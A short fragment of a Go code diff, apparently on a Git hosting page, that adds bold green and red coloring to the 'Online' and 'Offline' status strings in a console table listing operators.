console.Bold + operator.Name + console.Normal,
|
||||
status(operator.Online),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func status(isOnline bool) string {
|
||||
if isOnline {
|
||||
return "Online"
|
||||
return console.Bold + console.Green + "Online" + console.Normal
|
||||
}
|
||||
return "Offline"
|
||||
return console.Bold + console.Red + "Offline" + console.Normal
|
||||
}
|
||||
Loaded 100 of 1911 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user